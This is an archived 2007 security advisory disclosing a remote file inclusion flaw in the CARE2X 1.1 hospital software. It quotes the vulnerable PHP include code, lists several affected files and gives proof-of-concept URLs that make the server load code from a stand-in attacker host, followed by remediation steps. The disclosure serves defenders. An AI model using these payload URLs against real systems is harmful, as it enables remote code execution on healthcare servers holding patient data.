what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Echo Security Advisory 2007.72

Echo Security Advisory 2007.72
Posted Mar 14, 2007
Authored by Echo Security, Dedi Dwianto | Site advisories.echo.or.id

CARE2X version 1.1 suffers from a remote file inclusion vulnerability.

tags | exploit, remote, file inclusion
SHA-256 | dcbab91314fae67b2b54053c172f8cad0edccd2c569e1366f2ecc56811f84f49

Echo Security Advisory 2007.72

Change Mirror Download
____________________   ___ ___ ________
\_ _____/\_ ___ \ / | \\_____ \
| __)_ / \ \// ~ \/ | \
| \\ \___\ Y / | \
/_______ / \______ /\___|_ /\_______ /
\/ \/ \/ \/ .OR.ID
ECHO_ADV_72$2007

-------------------------------------------------------------------------
[ECHO_ADV_72$2007] CARE2X (root_path) Remote File Inclusion Vulnerability
-------------------------- ----------------------------------------------

Author : Dedi Dwianto a.k.a the_day
Date Found : March, 13th 2007
Location : Indonesia, Jakarta
web : http://advisories.echo.or.id/adv/adv72-theday-2007.txt
Critical Lvl : Highly critical
Impact : System access
Where : From Remote
---------------------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application : CARE2X
version : 1.1
URL : http://www.care2x.org

Care2x integrates data, functions and workflows in a healthcare environment.
It is currently composed of four major components.
Each of these components can also function individually.
---------------------------------------------------------------------------

Vulnerability:
~~~~~~~~~~~~~

- Invalid include_once function at include/inc_checkdate_lang.php
-----------------------include/inc_checkdate_lang.php------------

<?
if(file_exists($root_path."language/$lang/lang_".$lang."_checkdate.php")) include_once($root_path."language/$lang/lang_".$lang."_checkdate.php");
else include_once($root_path."language/en/lang_en_checkdate.php");
if(file_exists($root_path."language/$lang/lang_".$lang."_date_time.php")) include_once($root_path."language/$lang/lang_".$lang."_date_time.php");
else include_once($root_path."language/en/lang_en_date_time.php");
?>

----------------------------------------------------------

Input passed to the "$root_path" parameter in inc_checkdate_lang.php is not
properly verified before being used. This can be exploited to execute
arbitrary PHP code by including files from local or external
resources.

also affected files :

include/inc_charset_fx.php
include/inc_config_color.php
include/inc_currency_set.php
include/inc_db_makelink.php
include/inc_diagnostics_report_fx.php
include/inc_environment_global.php
include/inc_front_chain_lang.php
include/inc_init_crypt.php
include/inc_load_copyrite.php
include/inc_news_save.php
main/barcode-labels.php
main/chg-color.php
main/config_options_gui_template.php
main/config_options_mascot.php
main/diagnostics-report-index.php


and More ....



Proof Of Concept:
~~~~~~~~~~~~~~

http://localhost/care2x/include/inc_checkdate_lang.php?root_path=http://atacker.com/inject.txt?
http://localhost/care2x/include/inc_news_save.php?root_path=http://atacker.com/inject.txt?
http://localhost/care2x/main/diagnostics-report-index.php?root_path=http://atacker.com/inject.txt?
http://localhost/care2x/main/config_options_mascot.php?root_path=http://atacker.com/inject.txt?



Solution:
~~~~~~

- Sanitize variable $root_path affected files.
- Turn off register_globals

---------------------------------------------------------------------------

Shoutz:
~~
~ y3dips,moby,comex,z3r0byt3,K-159,c-a-s-e,S`to,lirva32,anonymous
~ Jessy Nice Girl
~ az001,bomm_3x,matdhule,angelia
~ newbie_hacker@yahoogroups.com
~ #aikmel - #e-c-h-o @irc.dal.net
------------------------------------------------------------------------
---
Contact:
~~~
EcHo Research & Development Center
http://advisories.echo.or.id
erdc[at]echo[dot]or[dot]id
the_day[at]echo[dot]or[dot]id

-------------------------------- [ EOF ]----------------------------------
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close